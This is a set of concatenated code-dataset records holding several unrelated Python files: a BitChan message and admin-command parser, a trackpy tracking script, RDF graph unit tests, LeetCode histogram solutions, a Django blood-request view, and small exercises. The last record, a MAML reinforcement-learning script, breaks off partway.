new_session:\n try:\n thread = new_session.query(Threads).filter(\n Threads.thread_hash == thread_id).first()\n\n if thread:\n admin_cmd = new_session.query(Command).filter(and_(\n Command.action == \"set\",\n Command.action_type == \"thread_options\",\n Command.thread_id == thread.thread_hash)).first()\n if admin_cmd:\n # Check for remote thread lock\n if (admin_cmd.thread_lock and\n admin_cmd.thread_lock_ts and\n timestamp_sent > admin_cmd.thread_lock_ts):\n thread_locked = \"Post timestamp is after remote lock. Deleting.\"\n\n # Check for remote thread anchor\n if (admin_cmd.thread_anchor and\n admin_cmd.thread_anchor_ts and\n timestamp_sent > admin_cmd.thread_anchor_ts):\n thread_anchored = \"Post timestamp is after remote anchor. Not updating thread timestamp.\"\n\n # Check for local thread lock\n if thread.locked_local and timestamp_sent > thread.locked_local_ts:\n thread_locked = \"Post timestamp is after local lock. Deleting.\"\n\n # Check for local thread anchor\n if thread.anchored_local and timestamp_sent > thread.anchored_local_ts:\n thread_anchored = \"Post timestamp is after local anchor. Not updating thread timestamp.\"\n\n if thread_locked:\n chan = new_session.query(Chan).filter(\n Chan.address == json_obj['toAddress']).first()\n if chan:\n access = get_access(json_obj['toAddress'])\n if json_obj['fromAddress'] in access[\"primary_addresses\"]:\n owner_posting = True\n logger.error(\"{}: Owner posting in locked thread. Allowing.\".format(\n message_id[-config.ID_LENGTH:].upper()))\n except Exception:\n logger.exception(\"Checking thread lock\")\n\n if thread_locked and not owner_posting:\n logger.info(thread_locked)\n daemon_com.trash_message(message_id)\n return\n\n with session_scope(DB_PATH) as new_session:\n try:\n chan = new_session.query(Chan).filter(\n Chan.address == json_obj['toAddress']).first()\n chan.last_post_number = chan.last_post_number + 1\n\n thread = new_session.query(Threads).filter(\n Threads.thread_hash == thread_id).first()\n\n if not thread and is_op: # OP received, create new thread\n new_thread = Threads()\n new_thread.thread_hash = thread_id\n new_thread.thread_hash_short = thread_id[-12:]\n new_thread.op_sha256_hash = message_sha256_hash\n if chan:\n new_thread.chan_id = chan.id\n new_thread.subject = subject\n new_thread.timestamp_sent = timestamp_sent\n new_thread.timestamp_received = int(json_obj['receivedTime'])\n new_session.add(new_thread)\n\n if timestamp_sent > chan.timestamp_sent:\n chan.timestamp_sent = timestamp_sent\n if int(json_obj['receivedTime']) > chan.timestamp_received:\n chan.timestamp_received = int(json_obj['receivedTime'])\n\n new_session.commit()\n id_thread = new_thread.id\n\n elif not thread and not is_op: # Reply received before OP, create thread with OP placeholder\n new_thread = Threads()\n new_thread.thread_hash = thread_id\n new_thread.thread_hash_short = thread_id[-12:]\n new_thread.op_sha256_hash = op_sha256_hash\n if chan:\n new_thread.chan_id = chan.id\n new_thread.subject = subject\n new_thread.timestamp_sent = timestamp_sent\n new_thread.timestamp_received = int(json_obj['receivedTime'])\n new_session.add(new_thread)\n\n if timestamp_sent > chan.timestamp_sent:\n chan.timestamp_sent = timestamp_sent\n if int(json_obj['receivedTime']) > chan.timestamp_received:\n chan.timestamp_received = int(json_obj['receivedTime'])\n\n new_session.commit()\n id_thread = new_thread.id\n\n elif thread and not is_op: # Reply received after OP, add to current thread\n if thread_anchored:\n logger.info(thread_anchored)\n\n if timestamp_sent > thread.timestamp_sent:\n if not sage and not thread_anchored:\n thread.timestamp_sent = timestamp_sent\n if int(json_obj['receivedTime']) > thread.timestamp_received:\n if not sage and thread_anchored:\n thread.timestamp_received = int(json_obj['receivedTime'])\n\n if timestamp_sent > chan.timestamp_sent:\n if not sage and not thread_anchored:\n chan.timestamp_sent = timestamp_sent\n if int(json_obj['receivedTime']) > chan.timestamp_received:\n if not sage and not thread_anchored:\n chan.timestamp_received = int(json_obj['receivedTime'])\n\n new_session.commit()\n id_thread = thread.id\n\n elif thread and is_op:\n # Post indicating it is OP but thread already exists\n # Could have received reply before OP\n # Add OP to current thread\n id_thread = thread.id\n\n lf = LF()\n if lf.lock_acquire(config.LOCKFILE_STORE_POST, to=20):\n try:\n # Create message\n new_msg = Messages()\n new_msg.version = version\n new_msg.message_id = message_id\n new_msg.post_id = get_post_id(message_id)\n new_msg.post_number = chan.last_post_number\n new_msg.expires_time = get_msg_expires_time(message_id)\n new_msg.thread_id = id_thread\n new_msg.address_from = bleach.clean(json_obj['fromAddress'])\n new_msg.message_sha256_hash = message_sha256_hash\n new_msg.is_op = is_op\n if sage:\n new_msg.sage = sage\n new_msg.message = message\n new_msg.subject = subject\n new_msg.nation = nation\n new_msg.nation_base64 = nation_base64\n new_msg.nation_name = nation_name\n if file_decoded == b\"\": # Empty file\n new_msg.file_decoded = b\" \"\n else:\n new_msg.file_decoded = file_decoded\n new_msg.file_filename = file_filename\n new_msg.file_url = file_url\n new_msg.file_upload_settings = json.dumps(file_upload_settings)\n new_msg.file_extracts_start_base64 = json.dumps(file_extracts_start_base64)\n new_msg.file_size = file_size\n new_msg.file_amount = file_amount\n new_msg.file_do_not_download = file_do_not_download\n new_msg.file_progress = file_progress\n new_msg.file_sha256_hash = file_sha256_hash\n new_msg.file_enc_cipher = file_enc_cipher\n new_msg.file_enc_key_bytes = file_enc_key_bytes\n new_msg.file_enc_password = file_enc_password\n new_msg.file_sha256_hashes_match = file_sha256_hashes_match\n new_msg.file_order = json.dumps(file_order)\n new_msg.file_download_successful = file_download_successful\n new_msg.upload_filename = upload_filename\n new_msg.saved_file_filename = saved_file_filename\n new_msg.saved_image_thumb_filename = saved_image_thumb_filename\n new_msg.image1_spoiler = image1_spoiler\n new_msg.image2_spoiler = image2_spoiler\n new_msg.image3_spoiler = image3_spoiler\n new_msg.image4_spoiler = image4_spoiler\n new_msg.timestamp_received = int(json_obj['receivedTime'])\n new_msg.timestamp_sent = timestamp_sent\n new_msg.media_info = json.dumps(media_info)\n new_msg.message_steg = json.dumps(message_steg)\n new_msg.message_original = json_obj[\"message\"]\n new_session.add(new_msg)\n\n if timestamp_sent > chan.timestamp_sent:\n chan.timestamp_sent = timestamp_sent\n if int(json_obj['receivedTime']) > chan.timestamp_received:\n chan.timestamp_received = int(json_obj['receivedTime'])\n\n new_session.commit()\n\n message_edit = new_session.query(Messages).filter(\n Messages.message_id == message_id).first()\n try:\n message_edit.popup_html = generate_reply_link_html(message_edit)\n new_session.commit()\n except Exception as err:\n logger.exception(\"{}: Couldn't generate popup HTML: {}\".format(\n message_id[-config.ID_LENGTH:].upper(), err))\n\n process_message_replies(message_id, message)\n\n # Determine if an admin command to delete with comment is present\n # Replace comment and delete file information\n commands = new_session.query(Command).filter(and_(\n Command.action == \"delete_comment\",\n Command.action_type == \"post\",\n Command.chan_address == json_obj['toAddress'])).all()\n for each_cmd in commands:\n try:\n options = json.loads(each_cmd.options)\n except:\n options = {}\n if (\"delete_comment\" in options and\n \"message_id\" in options[\"delete_comment\"] and\n options[\"delete_comment\"][\"message_id\"] == message_id and\n \"comment\" in options[\"delete_comment\"]):\n\n if \"from_address\" in options[\"delete_comment\"]:\n from_address = options[\"delete_comment\"][\"from_address\"]\n else:\n from_address = json_obj['fromAddress']\n\n # replace comment\n delete_and_replace_comment(\n options[\"delete_comment\"][\"message_id\"],\n options[\"delete_comment\"][\"comment\"],\n from_address=from_address,\n local_delete=False)\n\n # Generate card\n generate_card(thread_id, force_generate=True)\n except Exception:\n logger.exception(\"Saving message to DB\")\n finally:\n time.sleep(config.API_PAUSE)\n lf.lock_release(config.LOCKFILE_API)\n\n # Delete message from Bitmessage after parsing and adding to BitChan database\n lf = LF()\n if lf.lock_acquire(config.LOCKFILE_API, to=120):\n try:\n return_val = api.trashMessage(message_id)\n except Exception as err:\n logger.error(\"{}: Exception during message delete: {}\".format(\n message_id[-config.ID_LENGTH:].upper(), err))\n finally:\n time.sleep(config.API_PAUSE)\n lf.lock_release(config.LOCKFILE_API)\n except Exception as err:\n logger.error(\n \"{}: Could not write to database. Deleting. Error: {}\".format(\n message_id[-config.ID_LENGTH:].upper(), err))\n logger.exception(\"1\")\n daemon_com.trash_message(message_id)\n return\n\n\ndef process_admin(msg_dict, msg_decrypted_dict):\n \"\"\"Process message as an admin command\"\"\"\n logger.info(\"{}: Message is an admin command\".format(msg_dict[\"msgid\"][-config.ID_LENGTH:].upper()))\n\n # Authenticate sender\n with session_scope(DB_PATH) as new_session:\n chan = new_session.query(Chan).filter(\n Chan.address == msg_dict['toAddress']).first()\n if chan:\n errors, dict_info = process_passphrase(chan.passphrase)\n # Message must be from address in primary or secondary access list\n access = get_access(msg_dict['toAddress'])\n if errors or (msg_dict['fromAddress'] not in access[\"primary_addresses\"] and\n msg_dict['fromAddress'] not in access[\"secondary_addresses\"]):\n logger.error(\"{}: Unauthorized Admin message. Deleting.\".format(\n msg_dict[\"msgid\"][-config.ID_LENGTH:].upper()))\n daemon_com.trash_message(msg_dict[\"msgid\"])\n return\n else:\n logger.error(\"{}: Admin message: Chan not found\".format(msg_dict[\"msgid\"][-config.ID_LENGTH:].upper()))\n daemon_com.trash_message(msg_dict[\"msgid\"])\n return\n\n logger.info(\"{}: Admin message received from {} for {} is authentic\".format(\n msg_dict[\"msgid\"][-config.ID_LENGTH:].upper(), msg_dict['fromAddress'], msg_dict['toAddress']))\n\n admin_dict = {\n \"timestamp_utc\": 0,\n \"chan_type\": None,\n \"action\": None,\n \"action_type\": None,\n \"options\": {},\n \"thread_id\": None,\n \"message_id\": None,\n \"chan_address\": None\n }\n\n if \"timestamp_utc\" in msg_decrypted_dict and msg_decrypted_dict[\"timestamp_utc\"]:\n admin_dict[\"timestamp_utc\"] = msg_decrypted_dict[\"timestamp_utc\"]\n if \"chan_type\" in msg_decrypted_dict and msg_decrypted_dict[\"chan_type\"]:\n admin_dict[\"chan_type\"] = msg_decrypted_dict[\"chan_type\"]\n if \"action\" in msg_decrypted_dict and msg_decrypted_dict[\"action\"]:\n admin_dict[\"action\"] = msg_decrypted_dict[\"action\"]\n if \"action_type\" in msg_decrypted_dict and msg_decrypted_dict[\"action_type\"]:\n admin_dict[\"action_type\"] = msg_decrypted_dict[\"action_type\"]\n if \"options\" in msg_decrypted_dict and msg_decrypted_dict[\"options\"]:\n admin_dict[\"options\"] = msg_decrypted_dict[\"options\"]\n if \"thread_id\" in msg_decrypted_dict and msg_decrypted_dict[\"thread_id\"]:\n admin_dict[\"thread_id\"] = msg_decrypted_dict[\"thread_id\"]\n if \"message_id\" in msg_decrypted_dict and msg_decrypted_dict[\"message_id\"]:\n admin_dict[\"message_id\"] = msg_decrypted_dict[\"message_id\"]\n if \"chan_address\" in msg_decrypted_dict and msg_decrypted_dict[\"chan_address\"]:\n admin_dict[\"chan_address\"] = msg_decrypted_dict[\"chan_address\"]\n\n access = get_access(msg_dict['toAddress'])\n\n lf = LF()\n if lf.lock_acquire(config.LOCKFILE_ADMIN_CMD, to=20):\n try:\n # (Owner): set board options\n if (admin_dict[\"action\"] == \"set\" and\n admin_dict[\"action_type\"] == \"options\" and\n msg_dict['fromAddress'] in access[\"primary_addresses\"]):\n admin_set_options(msg_dict, admin_dict)\n\n # (Owner, Admin): set thread options\n elif (admin_dict[\"action\"] == \"set\" and\n admin_dict[\"action_type\"] == \"thread_options\" and\n (msg_dict['fromAddress'] in access[\"primary_addresses\"] or\n msg_dict['fromAddress'] in access[\"secondary_addresses\"])):\n admin_set_thread_options(msg_dict, admin_dict)\n\n # (Owner, Admin): delete board thread or post\n elif (admin_dict[\"action\"] == \"delete\" and\n admin_dict[\"chan_type\"] == \"board\" and\n (msg_dict['fromAddress'] in access[\"primary_addresses\"] or\n msg_dict['fromAddress'] in access[\"secondary_addresses\"])):\n admin_delete_from_board(msg_dict, admin_dict)\n\n # (Owner, Admin): delete board post with comment\n elif (admin_dict[\"action\"] == \"delete_comment\" and\n admin_dict[\"action_type\"] == \"post\" and\n \"options\" in admin_dict and\n \"delete_comment\" in admin_dict[\"options\"] and\n \"message_id\" in admin_dict[\"options\"][\"delete_comment\"] and\n \"comment\" in admin_dict[\"options\"][\"delete_comment\"] and\n (msg_dict['fromAddress'] in access[\"primary_addresses\"] or\n msg_dict['fromAddress'] in access[\"secondary_addresses\"])):\n admin_delete_from_board_with_comment(msg_dict, admin_dict)\n\n # (Owner, Admin): Ban user\n elif (admin_dict[\"action\"] in [\"board_ban_silent\", \"board_ban_public\"] and\n admin_dict[\"action_type\"] in \"ban_address\" and\n admin_dict[\"options\"] and\n \"ban_address\" in admin_dict[\"action_type\"] and\n (msg_dict['fromAddress'] in access[\"primary_addresses\"] or\n msg_dict['fromAddress'] in access[\"secondary_addresses\"])):\n admin_ban_address_from_board(msg_dict, admin_dict)\n\n else:\n logger.error(\"{}: Unknown Admin command. Deleting. {}\".format(\n msg_dict[\"msgid\"][-config.ID_LENGTH:].upper(), admin_dict))\n daemon_com.trash_message(msg_dict[\"msgid\"])\n except Exception:\n logger.exception(\"{}: Exception processing Admin command. Deleting.\".format(\n msg_dict[\"msgid\"][-config.ID_LENGTH:].upper()))\n daemon_com.trash_message(msg_dict[\"msgid\"])\n finally:\n time.sleep(config.API_PAUSE)\n lf.lock_release(config.LOCKFILE_API)\n","sub_path":"utils/parse_message.py","file_name":"parse_message.py","file_ext":"py","file_size_in_byte":39028,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"336517927","text":"#!/usr/bin/env python3.6\nfrom __future__ import division, unicode_literals, print_function # for compatibility with Python 2 and 3\nimport matplotlib as mpl\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport pandas as pd\nfrom pandas import DataFrame, Series # for convenience\nimport pims\nimport trackpy as tp\nplt.ion\n# Optionally, tweak styles.\nmpl.rc('figure', figsize=(10, 6))\nmpl.rc('image', cmap='gray')\naa = pims.ImageSequence('./frame_crop/*.jpg', as_grey=True)\n# f = tp.locate(aa[0], 33, invert=True)\nf= pd.read_csv(\"./trackpyResult/forceCSV.csv\")\nfig=plt.figure()\n#fig=tp.annotate(f, aa[0])\n#fig.figure.savefig(\"./trackpyResult/trackpyAnnotation.jpg\")\n#f = tp.batch(aa[:], 11, minmass=200, invert=True);\n#f = tp.batch(aa[:], 11, invert=True);\nfig, ax = plt.subplots()\nt = tp.link_df(f, 5, memory=3)\nt1 = tp.filter_stubs(t, 50)\nprint(t1)\nt1.to_csv(\"./trackpyResult/t1.csv\")\n# Compare the number of particles in the unfiltered and filtered data.\nprint('Before:', t['particle'].nunique())\nprint('After:', t1['particle'].nunique())\n#fig=plt.figure()\n#fig=tp.mass_size(t1.groupby('particle').mean()); # convenience function -- just plots size vs. mass\n#fig.figure.savefig(\"./trackpyResult/particle.jpg\")\nfig=plt.figure()\nfig=tp.plot_traj(t1)\nfig.figure.savefig(\"./trackpyResult/trajectoryI.jpg\")\nt2 = t1\nfig=plt.figure()\nfig=tp.annotate(t2[t2['frame'] == 0], aa[0]);\nfig.figure.savefig(\"./trackpyResult/t2Annotation.jpg\")\nd = tp.compute_drift(t2)\nfig=plt.figure()\nfig=d.plot()\ntm = tp.subtract_drift(t1.copy(), d)\nfig.figure.savefig(\"./trackpyResult/comDrift.jpg\")\nfig=plt.figure()\nfig=tp.plot_traj(tm)\nfig.figure.savefig(\"./trackpyResult/traj.jpg\")\n","sub_path":"codes/trackpy/trackpyOnEuler.py","file_name":"trackpyOnEuler.py","file_ext":"py","file_size_in_byte":1662,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"216655252","text":"\"\"\"\nThese test may seem a bit light. If they don't then they should.\n\nJena is doing *all* the hard work here - I'm just testing that it's all wired up properly.\n\"\"\"\n\nimport unittest\nimport graphite.rdfgraph as rdfgraph\n\n\nclass Test(unittest.TestCase):\n verbose = False\n\n def new_graph(self, g=None):\n if g is None:\n g = rdfgraph.Graph()\n self.g = g\n\n def setUp(self):\n self.new_graph()\n\n def tearDown(self):\n self.g = None\n\n def file_data(self, data):\n return TempFile(data)\n\nSAMPLE_RDFXML = \"\"\"<?xml version=\"1.0\"?>\n<rdf:RDF xmlns:rdf=\"http://www.w3.org/1999/02/22-rdf-syntax-ns#\">\n <rdf:Description rdf:about=\"tag:dummy1\">\n <rdf:type rdf:resource=\"tag:dummy2\"/>\n </rdf:Description>\n</rdf:RDF>\n\"\"\"\nSAMPLE_NTRIPLES = \"\"\"\n<tag:dummy1> <http://www.w3.org/1999/02/22-rdf-syntax-ns#type> <tag:dummy2> .\n\"\"\"\nSAMPLE_N3 = \"\"\"@prefix rdf: <http://www.w3.org/1999/02/22-rdf-syntax-ns#> .\n<tag:dummy1> rdf:type <tag:dummy2> .\n\"\"\"\nSAMPLE_TTL = \"\"\"\n<tag:dummy1>\n a <tag:dummy2> .\n\"\"\"\nSAMPLE_RDFXML_BNODE = \"\"\"<?xml version=\"1.0\"?>\n<rdf:RDF xmlns:rdf=\"http://www.w3.org/1999/02/22-rdf-syntax-ns#\">\n <rdf:Description>\n <rdf:type rdf:resource=\"tag:dummy2\"/>\n </rdf:Description>\n</rdf:RDF>\n\"\"\"\n\n\nclass TempFile(object):\n def __init__(self, data):\n assert isinstance(data, str) # Only permit bytes here.\n self.data = data\n\n def __enter__(self):\n import tempfile\n tpl = tempfile.mkstemp()\n fn, self.name = tpl\n tf = open(self.name, 'wb')\n tf.write(self.data.encode('utf-8'))\n tf.close()\n return self.name\n\n def __exit__(self, a, b, c):\n try:\n import os\n os.remove(self.name)\n except:\n pass\n\n\nclass TestRead(Test):\n def test_read_XML(self):\n self.g.load_rdfxml(SAMPLE_RDFXML)\n self.assertEqual(\n self.g['tag:dummy1']['rdf:type'].uri(),\n 'tag:dummy2',\n self.g.to_string()\n )\n\n def test_read_XML_Bnode(self):\n self.g.load_rdfxml(SAMPLE_RDFXML_BNODE)\n for t in self.g.triples(None, None, None):\n if self.verbose:\n print(str(t))\n if self.verbose:\n print(repr(t))\n self.assertEqual(\n t[2].uri(),\n 'tag:dummy2',\n self.g.to_string()\n )\n\n def test_read_NTRIPLE(self):\n self.g.load_ntriples(SAMPLE_NTRIPLES)\n self.assertEqual(\n self.g['tag:dummy1']['rdf:type'].uri(),\n 'tag:dummy2',\n self.g.to_string()\n )\n\n def test_read_N3(self):\n self.g.load_N3(SAMPLE_N3)\n self.assertEqual(\n self.g['tag:dummy1']['rdf:type'].uri(),\n 'tag:dummy2',\n self.g.to_string()\n )\n\n def test_read_TTL(self):\n self.g.load_ttl(SAMPLE_TTL)\n self.assertEqual(\n self.g['tag:dummy1']['rdf:type'].uri(),\n 'tag:dummy2',\n self.g.to_string()\n )\n\n\nclass TestGraph(Test):\n def setUp(self):\n super(TestGraph, self).setUp()\n self.g.load_ttl(\"\"\"\n <tag:dummy1>\n a <tag:dummy2> .\n\n \"\"\")\n\n def test_get(self):\n r = self.g.get('tag:dummy1')\n self.assertTrue(r)\n self.assertTrue(getattr(r, 'isURIResource', False), r)\n\n def test_set(self, other=None):\n r = self.g.get('tag:dummy1')\n if other is None:\n other = self.g['tag:other']\n r['tag:p'] = other\n self.assertTrue(r['tag:p'])\n self.assertEqual(r['tag:p'], other)\n\n def test_set_char(self):\n # Check single characters\n r = self.g.get('tag:dummy1')\n char = 'A'\n r['tag:char'] = char\n self.assertTrue(r['tag:char'])\n self.assertEqual(r['tag:char'], char)\n\n def test_set_literal(self):\n self.test_set(other=2)\n self.test_set(other=\"Wibble\")\n\n\nclass TestURIResource(Test):\n def setUp(self):\n super(TestURIResource, self).setUp()\n self.g.load_ttl(\"\"\"\n <tag:dummy1>\n a <tag:dummy2> ;\n <tag:r1> <tag:1> ;\n <tag:r1> <tag:2> ;\n <tag:r2> <tag:3> ;\n <tag:b> [ a <tag:blank> ].\n \"\"\")\n self.r = self.g.get('tag:dummy1')\n self.r.add('tag:int', 2)\n self.r.add('tag:int', 3)\n self.r['tag:str'] = \"22\"\n self.t = self.g.get('tag:dummy2')\n\n def test_get(self):\n self.assertEqual(self.r.get('rdf:type'), self.t)\n self.assertEqual(self.r['tag:str'], \"22\")\n\n def test_blank(self):\n b = self.r['tag:b']\n self.assertFalse(b, b)\n self.assertTrue(b.is_blank(), b)\n\n def test_all(self):\n lst = list(self.r.all('tag:r1'))\n self.assertEqual(len(lst), 2)\n self.assertTrue(self.g['tag:1'] in lst, lst)\n self.assertTrue(self.g['tag:2'] in lst, lst)\n\n lst = list(self.r.all('tag:int'))\n self.assertEqual(len(lst), 2)\n for i in [2, 3]:\n self.assertTrue(i in lst)\n\n def test_has(self):\n self.assertTrue(self.r.has('tag:int'))\n self.assertTrue(self.r.has('tag:r1'))\n self.assertTrue(self.r.has('tag:b'))\n self.assertFalse(self.r['tag:r1'].has('tag:r1'))\n\n def test_value(self):\n s = \"22\"\n vr = self.r['tag:str']\n self.assertTrue(vr)\n self.assertEqual(vr, s)\n self.assertTrue(isinstance(vr, rdfgraph.Resource), repr(vr))\n v = vr.value()\n self.assertFalse(isinstance(v, rdfgraph.Resource), repr(v))\n self.assertFalse(isinstance(v, rdfgraph.Node), repr(v))\n self.assertEqual(v, s)\n\n def test_uri(self):\n uri = 'tag:dummy1'\n r = self.r\n self.assertEqual(r, uri)\n self.assertTrue(isinstance(r, rdfgraph.Resource), repr(r))\n v = r.value()\n self.assertFalse(isinstance(v, rdfgraph.Resource), repr(v))\n self.assertFalse(isinstance(v, rdfgraph.Node), repr(v))\n self.assertEqual(v, uri)\n\n\nclass TestResourceList(Test):\n def setUp(self):\n super(TestResourceList, self).setUp()\n self.r1 = self.g.get('tag:1')\n self.r2 = self.g.get('tag:2')\n self.assertFalse(self.r1 is self.r2)\n self.assertNotEqual(self.r1.datum, self.r2.datum)\n self.assertNotEqual(self.r1, self.r2)\n self.assertEqual(self.r1, self.g.get('tag:1'))\n\n def tearDown(self):\n super(TestResourceList, self).tearDown()\n self.r1 = None\n self.r2 = None\n\n def test_add(self):\n lst1 = rdfgraph.ResourceList([self.r1])\n lst2 = rdfgraph.ResourceList([self.r2])\n lst3 = lst1.add(lst2)\n self.assertTrue(self.r1 in lst3, lst3)\n self.assertTrue(self.r2 in lst3, lst3)\n\n def test_remove(self):\n lst1 = rdfgraph.ResourceList([self.r1, self.r2])\n lst2 = rdfgraph.ResourceList([self.r2])\n lst3 = lst1.remove(lst2)\n self.assertTrue(self.r1 in lst3, list(lst3))\n self.assertFalse(self.r2 in lst3, list(lst3))\n\n def test_join(self):\n lst1 = rdfgraph.ResourceList([self.r1, self.r2])\n self.assertEqual(\n lst1.join(\", \"),\n \"tag:1, tag:2\",\n lst1\n )\n\n\nclass TestUnicode(Test):\n\n u_lit = '\\x9c' # What iso-8859-1 calls '\\xa3' - the British Pound sign.\n u_ttl = '''\n @prefix xsd: <http://www.w3.org/2001/XMLSchema#> .\n <tag:new_resource><tag:new_relation> \"\\x9c\"^^xsd:string .\n '''\n _rel = 'tag:new_relation'\n _res = 'tag:new_resource'\n\n def assert_loaded(self, g=None):\n if g is None:\n g = self.g\n ts = list(g.triples(None, None, None))\n self.assertEqual(len(ts), 1)\n self.assertEqual(self.u_lit, str(g[self._res][self._rel]))\n\n def assert_not_loaded(self, g=None):\n if g is None:\n g = self.g\n ts = list(g.triples(None, None, None))\n self.assertEqual(len(ts), 0)\n\n def test_ttl_load(self):\n self.g.load_turtle(self.u_ttl)\n self.assert_loaded()\n\n def test_ttl_load_file(self, use_cache=False):\n import os\n self.assert_not_loaded()\n with self.file_data(self.u_ttl) as f:\n self.assertTrue(os.path.isfile(f), f)\n with open(f, 'rb') as fp:\n self.assertTrue(fp, f)\n if use_cache:\n uri = self.g.file_uri(f)\n self.g.load(uri)\n else:\n self.g.load_file(f)\n self.assert_loaded()\n\n def test_ttl_load_file_with_cache(self):\n self.test_ttl_load_file(True)\n\n def test_set_literal(self):\n r = self.g[self._res]\n r.set(self._rel, self.u_lit)\n self.assertEqual(self.u_lit, self.g[self._res][self._rel])\n\n def test_save_and_load(self):\n import tempfile\n fno, name = tempfile.mkstemp()\n self.g.load_turtle(self.u_ttl)\n self.assert_loaded()\n self.g.save_file(name)\n\n # The test of save is whether we can load it or not.\n self.new_graph()\n self.assert_not_loaded()\n self.g.load_file(name)\n self.assert_loaded()\n\nif __name__ == '__main__':\n import sys\n unittest.main(argv=sys.argv)\n","sub_path":"test/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":9205,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"67466235","text":"# coding=utf-8\n\n# method 3: maintain an ascending stack, O(n)\n\n\nclass Solution(object):\n def largestRectangleArea(self, heights):\n stack = [] # maintains a strictly increasing height, saves index\n max_area = 0\n heights.append(0) # add padding to help process the last height\n for i, height in enumerate(heights):\n # start to count areas before i (excluding i)\n while stack and height <= heights[stack[-1]]: # mistake: height >= heights[stack[-1]]\n cur = stack.pop()\n # wrong: left = cur\n # wrong: left = cur if stack else 0\n left = stack[-1] + 1 if stack else 0 # tricky here !!!\n width = i-left \n max_area = max(max_area, heights[cur]*width)\n \n stack.append(i) # stack save index instead of height\n \n return max_area\n\n\n# method 2: recursion, divide and conquer, O(n*log(n))\n# worst case time O(n^2), space recursion depth O(n)\n# Time limit exceeded on worst case: an increasing sequence\n\n\nclass Solution2(object):\n def largestRectangleArea(self, heights):\n if not heights:\n return 0\n # find the minimum heights\n min_index = 0\n for i in range(len(heights)):\n if heights[i] < heights[min_index]:\n min_index = i\n return max(len(heights)*heights[min_index], \n self.largestRectangleArea(heights[:min_index]),\n self.largestRectangleArea(heights[min_index+1:]))\n\n\n# method 1: brute force, iterate all possible rectangle\n# O(n^2), Time limit exceeded\n\nclass Solution1(object):\n def largestRectangleArea(self, heights):\n \"\"\"\n :type heights: List[int]\n :rtype: int\n \"\"\"\n max_area = 0\n for i in range(len(heights)):\n min_h = heights[i]\n for j in range(i, len(heights)):\n min_h = min(min_h, heights[j]) # 木桶原理 cask theory\n max_area = max(max_area, min_h*(j-i+1))\n \n return max_area\n\n\n\"\"\"\nGiven n non-negative integers representing the histogram's bar height \nwhere the width of each bar is 1, find the area of largest rectangle \nin the histogram.\n\nAbove is a histogram where width of each bar is 1, \ngiven height = [2,1,5,6,2,3].\n\nThe largest rectangle is shown in the shaded area, \nwhich has area = 10 unit.\n\nExample:\n\nInput: [2,1,5,6,2,3]\nOutput: 10\n\"\"\"\n","sub_path":"0084. Largest Rectangle in Histogram.py","file_name":"0084. Largest Rectangle in Histogram.py","file_ext":"py","file_size_in_byte":2459,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"407422844","text":"memoize_table = {}\n\ndef memoize(f, name):\n if name not in memoize_table:\n memoize_table[name] = {}\n table = memoize_table[name]\n def helper(*args):\n if args in table:\n return table[args]\n else:\n result = f(*args)\n table[args] = result\n return result\n return helper\ndef num_of_paths(n, m):\n def helper(n,m):\n if n==1 or m==1:\n return 1\n else:\n return num_of_paths(n-1,m)+num_of_paths(n,m-1)\n return memoize(helper,\"paths_table\")(n,m)\n\nprint(num_of_paths(8, 9))\nprint(memoize_table)\n\n\n","sub_path":"basic dp and memoization/lec13/num_of_paths.py","file_name":"num_of_paths.py","file_ext":"py","file_size_in_byte":602,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"592230629","text":"from django.conf import settings\nfrom django.shortcuts import render\nfrom django.http import HttpResponse\nfrom django.contrib.auth.decorators import login_required\nfrom .models import Request\nfrom .forms import RequestForm\nfrom django.core.mail import send_mail\n\ndef request_blood(request):\n submitted = False\n if request.method == 'POST':\n form = RequestForm(request.POST)\n if form.is_valid():\n donor = form.save()\n email = request.POST.get(\"email\")\n subject = 'You have successfully requested for Blood'\n message = 'You have successfully requested for blood. We will send you an email if the blood request gets approved or rejected.'\n send_mail(subject, message, email, [settings.EMAIL_HOST_USER, email])\n context = {'form': form, 'submitted': True}\n return render(request, 'request.html', context)\n else:\n form = RequestForm()\n if 'submitted' in request.GET:\n submitted = True\n context = {'submitted': submitted,'form': form,}\n return render(request, 'request.html', context)\n\ndef requestsforblooddetails(request):\n detail2 = Request.objects.all()\n return render(request, 'bloodrequests.html', {'detail': detail2})\n\n\n","sub_path":"BloodBank/storage/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1257,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"622273342","text":"# Take an integer n (n >= 0) and\n# a digit d (0 <= d <= 9) as an\n# integer. Square all numbers k\n# (0 <= k <= n) between 0 and n.\n# Count the numbers of digits d\n# used in the writing of all the\n# k**2. Call nb_dig (or nbDig or ...)\n# the function taking n and d as\n# parameters and returning this count.\n\ndef nb_dig(n, d):\n counter = 0\n squares = [str(x**2) for x in range(n+1)]\n for square in squares:\n digits = [c for c in square]\n for digit in digits:\n if digit == str(d):\n counter += 1\n return counter\n\n#fatto vediamo se posso renderlo piu veloce ora è O(n^2)\n\n\n\n\nprint(nb_dig(5750, 0), 4700)\nprint(nb_dig(11011, 2), 9481)\nprint(nb_dig(12224, 8), 7733)\nprint(nb_dig(11549, 1), 11905)\n","sub_path":"7 kyu/18_09_23_count_the_digit.py","file_name":"18_09_23_count_the_digit.py","file_ext":"py","file_size_in_byte":742,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"339083445","text":"from comet_ml import Experiment\n\nimport maml_rl.envs\nimport gym\nimport numpy as np\nimport torch\nimport json\nimport matplotlib.pyplot as plt\nimport pickle\n\nfrom maml_rl.metalearner import MetaLearner\nfrom maml_rl.policies import CategoricalMLPPolicy, NormalMLPPolicy\nfrom maml_rl.baseline import LinearFeatureBaseline\nfrom maml_rl.sampler import BatchSampler\n\nfrom maml_rl.testing.k_shot_testing import k_shot_tester\n\nfrom tensorboardX import SummaryWriter\n\nimport time\n\n\n#refer to comet ml for these 3 entries\napi_key = 